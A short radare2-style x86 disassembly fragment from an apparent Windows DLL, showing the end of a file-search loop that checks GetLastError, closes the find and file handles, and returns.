call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x1000ba49
mov dword [ebp - 4], 1
jmp 0x1000ba4b
jmp 0x1000ba50
jmp 0x1000b9ae
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret